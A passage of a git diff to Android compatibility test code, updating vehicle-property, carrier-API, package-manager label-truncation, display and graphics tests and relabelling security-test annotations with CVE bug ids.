+                .that(carPropertyValue.getTimestamp()).isLessThan(
+                SystemClock.elapsedRealtimeNanos());
+        assertWithMessage(
+                mPropertyName + " - areaId: " + areaId + " - source: " + source + " must return "
+                        + mPropertyType
+                        + " type value")
+                .that(carPropertyValue.getValue().getClass()).isEqualTo(mPropertyType);
+
+        if (mRequirePropertyValueToBeInConfigArray) {
+            assertWithMessage(mPropertyName + " - areaId: " + areaId + " - source: " + source +
+                    " value must be listed in configArray")
+                    .that(carPropertyConfig.getConfigArray().contains(
+                            carPropertyValue.getValue())).isTrue();
+        }
+
+        mCarPropertyValueVerifier.ifPresent(
+                propertyValueVerifier -> propertyValueVerifier.verify(carPropertyConfig,
+                        carPropertyValue));
+    }
+
     public interface ConfigArrayVerifier {
         void verify(List<Integer> configArray);
     }
@@ -231,6 +339,10 @@
         void verify(CarPropertyConfig<?> carPropertyConfig, CarPropertyValue<?> carPropertyValue);
     }
 
+    public interface AreaIdsVerifier {
+        void verify(int[] areaIds);
+    }
+
     public static class Builder<T> {
         private final int mPropertyId;
         private final int mAccess;
@@ -240,6 +352,10 @@
         private boolean mRequiredProperty = false;
         private Optional<ConfigArrayVerifier> mConfigArrayVerifier = Optional.empty();
         private Optional<CarPropertyValueVerifier> mCarPropertyValueVerifier = Optional.empty();
+        private Optional<AreaIdsVerifier> mAreaIdsVerifier = Optional.empty();
+        private ImmutableSet<Integer> mPossibleConfigArrayValues = ImmutableSet.of();
+        private boolean mRequirePropertyValueToBeInConfigArray = false;
+
 
         private Builder(int propertyId, int access, int areaType, int changeMode,
                 Class<T> propertyType) {
@@ -266,10 +382,68 @@
             return this;
         }
 
+        public Builder<T> setAreaIdsVerifier(AreaIdsVerifier areaIdsVerifier) {
+            mAreaIdsVerifier = Optional.of(areaIdsVerifier);
+            return this;
+        }
+
+        public Builder<T> setPossibleConfigArrayValues(
+                ImmutableSet<Integer> possibleConfigArrayValues) {
+            mPossibleConfigArrayValues = possibleConfigArrayValues;
+            return this;
+        }
+
+        public Builder<T> requirePropertyValueTobeInConfigArray() {
+            mRequirePropertyValueToBeInConfigArray = true;
+            return this;
+        }
+
         public VehiclePropertyVerifier<T> build() {
             return new VehiclePropertyVerifier<>(mPropertyId, mAccess, mAreaType, mChangeMode,
-                    mPropertyType,
-                    mRequiredProperty, mConfigArrayVerifier, mCarPropertyValueVerifier);
+                    mPropertyType, mRequiredProperty, mConfigArrayVerifier,
+                    mCarPropertyValueVerifier, mAreaIdsVerifier, mPossibleConfigArrayValues,
+                    mRequirePropertyValueToBeInConfigArray);
+        }
+    }
+
+    private static class CarPropertyValueCallback implements
+            CarPropertyManager.CarPropertyEventCallback {
+        private final String mPropertyName;
+        private final int mTotalOnChangeEvents;
+        private final CountDownLatch mCountDownLatch;
+        private final List<CarPropertyValue<?>> mCarPropertyValues = new ArrayList<>();
+
+        public CarPropertyValueCallback(String propertyName, int totalOnChangeEvents) {
+            mPropertyName = propertyName;
+            mTotalOnChangeEvents = totalOnChangeEvents;
+            mCountDownLatch = new CountDownLatch(totalOnChangeEvents);
+        }
+
+        public List<CarPropertyValue<?>> getCarPropertyValues() {
+            try {
+                assertWithMessage(
+                        "Never received " + mTotalOnChangeEvents + "  onChangeEvent(s) for "
+                                + mPropertyName + " callback before 1500ms timeout").that(
+                        mCountDownLatch.await(1500, TimeUnit.MILLISECONDS)).isTrue();
+            } catch (InterruptedException e) {
+                assertWithMessage("Waiting for onChangeEvent callback(s) for " + mPropertyName
+                        + " threw an exception: " + e).fail();
+            }
+            return mCarPropertyValues;
+        }
+
+        @Override
+        public void onChangeEvent(CarPropertyValue value) {
+            mCarPropertyValues.add(value);
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onErrorEvent(int propId, int zone) {
+        }
+
+        @Override
+        public void onErrorEvent(int propId, int areaId, int errorCode) {
         }
     }
 }
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index 932d337..bc813aa 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -1080,7 +1080,8 @@
         // Set subscription group with current sub Id.
         int subId = SubscriptionManager.getDefaultDataSubscriptionId();
         if (subId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) return;
-        ParcelUuid uuid = mSubscriptionManager.createSubscriptionGroup(Arrays.asList(subId));
+        ParcelUuid uuid = ShellIdentityUtils.invokeMethodWithShellPermissions(mSubscriptionManager,
+                (sm) -> sm.createSubscriptionGroup(Arrays.asList(subId)));
 
         try {
             // Get all active subscriptions.
@@ -1090,13 +1091,15 @@
             List<Integer> activeSubGroup = getSubscriptionIdList(activeSubInfos);
             activeSubGroup.removeIf(id -> id == subId);
 
-            mSubscriptionManager.addSubscriptionsIntoGroup(activeSubGroup, uuid);
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSubscriptionManager,
+                    (sm) -> sm.addSubscriptionsIntoGroup(activeSubGroup, uuid));
 
-            List<Integer> infoList =
-                    getSubscriptionIdList(mSubscriptionManager.getSubscriptionsInGroup(uuid));
+            List<Integer> infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mSubscriptionManager,
+                    (sm) -> getSubscriptionIdList(sm.getSubscriptionsInGroup(uuid)));
+
             activeSubGroup.add(subId);
-            assertThat(infoList).hasSize(activeSubGroup.size());
-            assertThat(infoList).containsExactly(activeSubGroup);
+            assertThat(infoList).containsExactlyElementsIn(activeSubGroup);
         } finally {
             removeSubscriptionsFromGroup(uuid);
         }
@@ -1128,8 +1131,7 @@
                 List<Integer> infoList =
                         getSubscriptionIdList(mSubscriptionManager.getSubscriptionsInGroup(uuid));
                 accessibleSubGroup.add(subId);
-                assertThat(infoList).hasSize(accessibleSubGroup.size());
-                assertThat(infoList).containsExactly(accessibleSubGroup);
+                assertThat(infoList).containsExactlyElementsIn(accessibleSubGroup);
             }
         } finally {
             removeSubscriptionsFromGroup(uuid);
@@ -1262,8 +1264,9 @@
     private void removeSubscriptionsFromGroup(ParcelUuid uuid) {
         List<SubscriptionInfo> infoList = mSubscriptionManager.getSubscriptionsInGroup(uuid);
         if (!infoList.isEmpty()) {
-            mSubscriptionManager.removeSubscriptionsFromGroup(
-                    getSubscriptionIdList(infoList), uuid);
+            List<Integer> subscriptionIdList = getSubscriptionIdList(infoList);
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSubscriptionManager,
+                    (sm) -> sm.removeSubscriptionsFromGroup(subscriptionIdList, uuid));
         }
         infoList = mSubscriptionManager.getSubscriptionsInGroup(uuid);
         assertThat(infoList).isEmpty();
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
index 648c500..c85a89b 100644
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
@@ -23,7 +23,7 @@
 import android.database.ContentObserver;
 import android.database.Cursor;
 import android.net.Uri;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.CallLog;
 import android.provider.CallLog.Calls;
 import android.test.InstrumentationTestCase;
@@ -45,7 +45,7 @@
         mProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
     }
 
-    @SecurityTest(minPatchLevel="2021-05")
+    @AsbSecurityTest(cveBugId = 143230980)
     public void testNoSubqueries() throws Exception {
         // Add a single call just to make sure the call log has something inside
         ContentValues values = new ContentValues();
diff --git a/tests/tests/content/Android.bp b/tests/tests/content/Android.bp
index b808b6b..9ada51d 100644
--- a/tests/tests/content/Android.bp
+++ b/tests/tests/content/Android.bp
@@ -107,6 +107,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     min_sdk_version: "29",
 }
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index e39bf36..c03dd80 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -39,6 +39,7 @@
         <option name="push" value="CtsContentLongSharedUserIdTestApp.apk->/data/local/tmp/cts/content/CtsContentLongSharedUserIdTestApp.apk" />
         <option name="push" value="CtsContentMaxPackageNameTestApp.apk->/data/local/tmp/cts/content/CtsContentMaxPackageNameTestApp.apk" />
         <option name="push" value="CtsContentMaxSharedUserIdTestApp.apk->/data/local/tmp/cts/content/CtsContentMaxSharedUserIdTestApp.apk" />
+        <option name="push" value="CtsContentLongLabelNameTestApp.apk->/data/local/tmp/cts/content/CtsContentLongLabelNameTestApp.apk" />
     </target_preparer>
 
     <target_preparer class="com.android.tradefed.targetprep.PushFilePreparer">
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index d334b05..49b7254 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -70,7 +70,7 @@
             CtsSyncAccountAccessOtherCertTestCases.class.getSimpleName();
 
     private static final Pattern PERMISSION_REQUESTED = Pattern.compile(
-            "Permission Requested|Permission requested");
+            "Permission Requested.*|Permission requested.*");
     private static final Pattern ALLOW_SYNC = Pattern.compile("ALLOW|Allow");
     private static final String OPEN_NOTIFICATION_WATCH = "Open";
 
diff --git a/tests/tests/content/emptytestapp/Android.bp b/tests/tests/content/emptytestapp/Android.bp
index 42f36d0..f66ccdf 100644
--- a/tests/tests/content/emptytestapp/Android.bp
+++ b/tests/tests/content/emptytestapp/Android.bp
@@ -77,3 +77,16 @@
         "general-tests",
     ],
 }
+
+android_test_helper_app {
+    name: "CtsContentLongLabelNameTestApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    manifest: "AndroidManifestLongLabelName.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    min_sdk_version : "29"
+}
diff --git a/tests/tests/content/emptytestapp/AndroidManifestLongLabelName.xml b/tests/tests/content/emptytestapp/AndroidManifestLongLabelName.xml
new file mode 100644
index 0000000..eaa69b1
--- /dev/null
+++ b/tests/tests/content/emptytestapp/AndroidManifestLongLabelName.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!-- Test that the maximum length of the label returned from the load label api should be 1000 -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.content.cts.emptytestapp" >
+    <application android:hasCode="false" android:label="@string/long_app_name">
+        <activity android:name=".MockActivity" android:label="@string/long_app_name"
+                  android:exported="true" android:enabled="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/content/emptytestapp/res/values/strings.xml b/tests/tests/content/emptytestapp/res/values/strings.xml
new file mode 100644
index 0000000..8c06d18
--- /dev/null
+++ b/tests/tests/content/emptytestapp/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="long_app_name">
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+    </string>
+</resources>
diff --git a/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java b/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
index 5cfd532..80f0fad 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
@@ -20,17 +20,17 @@
 import android.database.CursorWindowAllocationException;
 import android.database.sqlite.SQLiteException;
 import android.net.Uri;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
 /**
  * Test {@link CursorWindowContentProvider} .
  */
-@SecurityTest
 public class ContentProviderCursorWindowTest extends AndroidTestCase {
     private static final String TAG = "ContentProviderCursorWindowTest";
 
+    @AsbSecurityTest(cveBugId = 34128677)
     public void testQuery() {
         // First check if the system has a patch for enforcing protected Parcel data
         Cursor cursor;
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index 35f2d3e..8470a12 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -29,7 +29,6 @@
 import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
-import android.os.SystemProperties;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.DeviceConfig;
 import android.service.dataloader.DataLoaderService;
@@ -41,6 +40,7 @@
 import androidx.test.filters.LargeTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.incfs.install.IBlockFilter;
 import com.android.incfs.install.IBlockTransformer;
 import com.android.incfs.install.IncrementalInstallSession;
@@ -55,7 +55,6 @@
 import org.junit.Assert;
 import org.junit.Assume;
 import org.junit.Before;
-import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -153,7 +152,9 @@
 
     @Test
     public void testAndroid12RequiresIncFsV2() throws Exception {
-        final boolean v2Required = (SystemProperties.getInt("ro.product.first_api_level", 0) > 30);
+        // IncFS is a kernel feature, which is a subject to vendor freeze. That's why
+        // the test verifies the vendor API level here, not the system's one.
+        final boolean v2Required = PropertyUtil.isVendorApiLevelNewerThan(30);
         if (v2Required) {
             Assert.assertTrue(getPackageManager().hasSystemFeature(
                     PackageManager.FEATURE_INCREMENTAL_DELIVERY, 2));
@@ -167,7 +168,6 @@
     }
 
     @Test
-    @Ignore("Wait until the kernel change lands in RVC branch for the mixed vendor image tests")
     public void testBug183952694Fixed() throws Exception {
         // first ensure the IncFS is up and running, e.g. if it's a module
         installPackage(TEST_APK);
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 598e882..6ca8a01 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -154,6 +154,8 @@
             + "CtsContentMaxPackageNameTestApp.apk";
     private static final String MAX_SHARED_USER_ID_APK = SAMPLE_APK_BASE
             + "CtsContentMaxSharedUserIdTestApp.apk";
+    private static final String LONG_LABEL_NAME_APK = SAMPLE_APK_BASE
+            + "CtsContentLongLabelNameTestApp.apk";
     private static final String EMPTY_APP_PACKAGE_NAME = "android.content.cts.emptytestapp";
     private static final String EMPTY_APP_MAX_PACKAGE_NAME = "android.content.cts.emptytestapp27j"
             + "EBRNRG3ozwBsGr1sVIM9U0bVTI2TdyIyeRkZgW4JrJefwNIBAmCg4AzqXiCvG6JjqA0uTCWSFu2YqAVxVd"
@@ -163,6 +165,8 @@
     private static final String HELLO_WORLD_PACKAGE_NAME = "com.example.helloworld";
     private static final String HELLO_WORLD_APK = SAMPLE_APK_BASE + "HelloWorld5.apk";
 
+    private static final int MAX_SAFE_LABEL_LENGTH = 1000;
+
     @Before
     public void setup() throws Exception {
         mContext = InstrumentationRegistry.getContext();
@@ -1464,4 +1468,33 @@
     private void uninstallPackage(String packageName) {
         SystemUtil.runShellCommand("pm uninstall " + packageName);
     }
+
+    @Test
+    public void loadApplicationLabel_withLongLabelName_truncated() throws Exception {
+        assertThat(installPackage(LONG_LABEL_NAME_APK)).isTrue();
+        final ApplicationInfo info = mPackageManager.getApplicationInfo(
+                EMPTY_APP_PACKAGE_NAME, 0 /* flags */);
+        final CharSequence resLabel = mPackageManager.getText(
+                EMPTY_APP_PACKAGE_NAME, info.labelRes, info);
+
+        assertThat(resLabel.length()).isGreaterThan(MAX_SAFE_LABEL_LENGTH);
+        assertThat(info.loadLabel(mPackageManager).length()).isEqualTo(MAX_SAFE_LABEL_LENGTH);
+    }
+
+    @Test
+    public void loadComponentLabel_withLongLabelName_truncated() throws Exception {
+        assertThat(installPackage(LONG_LABEL_NAME_APK)).isTrue();
+        final ComponentName componentName = ComponentName.createRelative(
+                EMPTY_APP_PACKAGE_NAME, ".MockActivity");
+        final ApplicationInfo appInfo = mPackageManager.getApplicationInfo(
+                EMPTY_APP_PACKAGE_NAME, 0 /* flags */);
+        final ActivityInfo activityInfo = mPackageManager.getActivityInfo(
+                componentName, 0 /* flags */);
+        final CharSequence resLabel = mPackageManager.getText(
+                EMPTY_APP_PACKAGE_NAME, activityInfo.labelRes, appInfo);
+
+        assertThat(resLabel.length()).isGreaterThan(MAX_SAFE_LABEL_LENGTH);
+        assertThat(activityInfo.loadLabel(mPackageManager).length())
+                .isEqualTo(MAX_SAFE_LABEL_LENGTH);
+    }
 }
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index dc44bf4..a495285 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -19,6 +19,8 @@
 import static android.content.pm.PackageManager.FEATURE_LEANBACK;
 import static android.view.Display.DEFAULT_DISPLAY;
 
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
 import static org.junit.Assert.*;
 import static org.junit.Assume.*;
 
@@ -62,6 +64,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.DisplayUtil;
 import com.android.compatibility.common.util.PropertyUtil;
 
 import org.junit.After;
@@ -189,12 +192,15 @@
             InstrumentationRegistry.getInstrumentation().getUiAutomation(),
             Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS,
             Manifest.permission.ACCESS_SURFACE_FLINGER,
-            Manifest.permission.WRITE_SECURE_SETTINGS);
+            Manifest.permission.WRITE_SECURE_SETTINGS,
+            Manifest.permission.HDMI_CEC);
 
     @Before
     public void setUp() throws Exception {
         mScreenOnActivity = launchScreenOnActivity();
-        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mContext = getInstrumentation().getTargetContext();
+        assertTrue("Physical display is expected.", DisplayUtil.isDisplayConnected(mContext));
+
         mDisplayManager = mContext.getSystemService(DisplayManager.class);
         mWindowManager = mContext.getSystemService(WindowManager.class);
         mUiModeManager = mContext.getSystemService(UiModeManager.class);
@@ -429,10 +435,12 @@
     private void restoreOriginalHdrSettings() {
         final IBinder displayToken = SurfaceControl.getInternalDisplayToken();
         SurfaceControl.overrideHdrTypes(displayToken, new int[]{});
-        mDisplayManager.setUserDisabledHdrTypes(
-                mOriginalHdrSettings.userDisabledHdrTypes);
-        mDisplayManager.setAreUserDisabledHdrTypesAllowed(
-                mOriginalHdrSettings.areUserDisabledHdrTypesAllowed);
+        if (mDisplayManager != null) {
+            mDisplayManager.setUserDisabledHdrTypes(
+                    mOriginalHdrSettings.userDisabledHdrTypes);
+            mDisplayManager.setAreUserDisabledHdrTypesAllowed(
+                    mOriginalHdrSettings.areUserDisabledHdrTypesAllowed);
+        }
     }
 
     private void waitUntil(Display display, Predicate<Display> pred, Duration maxWait)
diff --git a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
index 051ad1a..30cfa99 100644
--- a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
@@ -42,7 +42,7 @@
 import android.os.HandlerThread;
 import android.os.Looper;
 import android.os.SystemClock;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.Settings;
 import android.util.DisplayMetrics;
 import android.util.Log;
@@ -155,8 +155,8 @@
      * Ensures that an application can create a private virtual display and show
      * its own windows on it.
      */
-    @SecurityTest
     @Test
+    @AsbSecurityTest(cveBugId = 141745510)
     public void testPrivateVirtualDisplay() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, mSurface, 0);
@@ -180,8 +180,8 @@
      * Ensures that an application can create a private presentation virtual display and show
      * its own windows on it.
      */
-    @SecurityTest
     @Test
+    @AsbSecurityTest(cveBugId = 141745510)
     public void testPrivatePresentationVirtualDisplay() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, mSurface,
@@ -206,8 +206,8 @@
      * Ensures that an application can create a private virtual display and show
      * its own windows on it where the surface is attached or detached dynamically.
      */
-    @SecurityTest
     @Test
+    @AsbSecurityTest(cveBugId = 141745510)
     public void testPrivateVirtualDisplayWithDynamicSurface() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, null, 0);
@@ -240,7 +240,6 @@
      * be clear if an application creates an virtual display without the
      * flag {@link DisplayManager#VIRTUAL_DISPLAY_FLAG_TRUSTED}.
      */
-    @SecurityTest
     @Test
     public void testUntrustedSysDecorVirtualDisplay() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
@@ -268,7 +267,6 @@
      * Ensures that throws {@link SecurityException} when an application creates a trusted virtual
      * display without holding the permission {@code ADD_TRUSTED_DISPLAY}.
      */
-    @SecurityTest
     @Test
     public void testTrustedVirtualDisplay() throws Exception {
         try {
diff --git a/tests/tests/graphics/TEST_MAPPING b/tests/tests/graphics/TEST_MAPPING
index f8fa289..edd5f5f 100644
--- a/tests/tests/graphics/TEST_MAPPING
+++ b/tests/tests/graphics/TEST_MAPPING
@@ -1,7 +1,12 @@
 {
   "presubmit": [
     {
-      "name": "CtsGraphicsTestCases"
+      "name": "CtsGraphicsTestCases",
+      "options": [
+        {
+          "exclude-annotation": "androidx.test.filters.FlakyTest"
+        }
+      ]
     }
   ]
 }
\ No newline at end of file
diff --git a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
index 2a796f9..13a549d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
@@ -37,6 +37,8 @@
 import android.view.SurfaceView;
 import android.view.ViewGroup;
 
+import com.android.compatibility.common.util.DisplayUtil;
+
 import com.google.common.primitives.Floats;
 
 import java.io.PrintWriter;
@@ -391,24 +393,6 @@
         }
     }
 
-    private boolean isSeamless(Display.Mode mode, Display.Mode other) {
-        if (mode.getModeId() == other.getModeId()) {
-            return true;
-        }
-
-        if (!hasSameResolution(mode, other)) {
-            return false;
-        }
-
-        for (float alternativeFps : mode.getAlternativeRefreshRates()) {
-            if (Math.abs(alternativeFps - other.getRefreshRate()) <= FRAME_RATE_TOLERANCE) {
-                return true;
-            }
-        }
-
-        return false;
-    }
-
     // Returns the refresh rates with the same resolution as "mode".
     private ArrayList<Float> getRefreshRates(Display.Mode mode, Display display) {
         Display.Mode[] modes = display.getSupportedModes();
@@ -434,7 +418,7 @@
         List<Float> seamedRefreshRates = new ArrayList<>();
         Display.Mode[] modes = display.getSupportedModes();
         for (Display.Mode otherMode : modes) {
-            if (!isSeamless(mode, otherMode)) {
+            if (!DisplayUtil.isModeSwitchSeamless(mode, otherMode)) {
                 seamedRefreshRates.add(otherMode.getRefreshRate());
             }
         }
@@ -613,7 +597,7 @@
             Display.Mode toMode = mModeChangedEvents.get(eventId);
             assertTrue("Non-seamless mode switch was not expected, but there was a "
                             + "non-seamless switch from from " + fromMode + " to " + toMode + ".",
-                    isSeamless(fromMode, toMode));
+                    DisplayUtil.isModeSwitchSeamless(fromMode, toMode));
         }
     }
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
index c87794e..ff0ce79 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
@@ -16,11 +16,13 @@
 
 package android.graphics.cts;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.Manifest;
+import android.content.Context;
 import android.hardware.display.DisplayManager;
 
 import androidx.test.filters.MediumTest;
@@ -28,6 +30,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.DisplayUtil;
 
 import org.junit.After;
 import org.junit.Before;
@@ -38,7 +41,6 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class MatchContentFrameRateTest {
-    private static final int SETTING_PROPAGATION_TIMEOUT_MILLIS = 50;
 
     @Rule
     public ActivityTestRule<FrameRateCtsActivity> mActivityRule =
@@ -48,13 +50,17 @@
     public final AdoptShellPermissionsRule mShellPermissionsRule =
             new AdoptShellPermissionsRule(getInstrumentation().getUiAutomation(),
                     Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS,
-                    Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE);
+                    Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE,
+                    Manifest.permission.HDMI_CEC);
 
     private int mInitialMatchContentFrameRate;
     private DisplayManager mDisplayManager;
 
     @Before
     public void setUp() throws Exception {
+        Context context = getInstrumentation().getTargetContext();
+        assertTrue("Physical display is expected.", DisplayUtil.isDisplayConnected(context));
+
         FrameRateCtsActivity activity = mActivityRule.getActivity();
 
         // Prevent DisplayManager from limiting the allowed refresh rate range based on
@@ -68,8 +74,10 @@
 
     @After
     public void tearDown() {
-        mDisplayManager.setRefreshRateSwitchingType(mInitialMatchContentFrameRate);
-        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+        if (mDisplayManager != null) {
+            mDisplayManager.setRefreshRateSwitchingType(mInitialMatchContentFrameRate);
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+        }
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
index b43f77e..4872eeb 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
@@ -967,7 +967,7 @@
     @Test
     public void testDefaultDither() {
         Paint p = new Paint();
-        assertTrue(p.isDither());
+        assertFalse(p.isDither());
     }
 
     @Test
@@ -1162,8 +1162,8 @@
 
         p.reset();
         assertEquals(Paint.FILTER_BITMAP_FLAG | Paint.DEV_KERN_TEXT_FLAG
-                    | Paint.EMBEDDED_BITMAP_TEXT_FLAG | Paint.ANTI_ALIAS_FLAG
-                    | Paint.DITHER_FLAG, p.getFlags());
+                    | Paint.EMBEDDED_BITMAP_TEXT_FLAG | Paint.ANTI_ALIAS_FLAG,
+                    p.getFlags());
         assertEquals(null, p.getColorFilter());
         assertEquals(null, p.getMaskFilter());
         assertEquals(null, p.getPathEffect());
diff --git a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
index bd3bb27..1b41d09 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
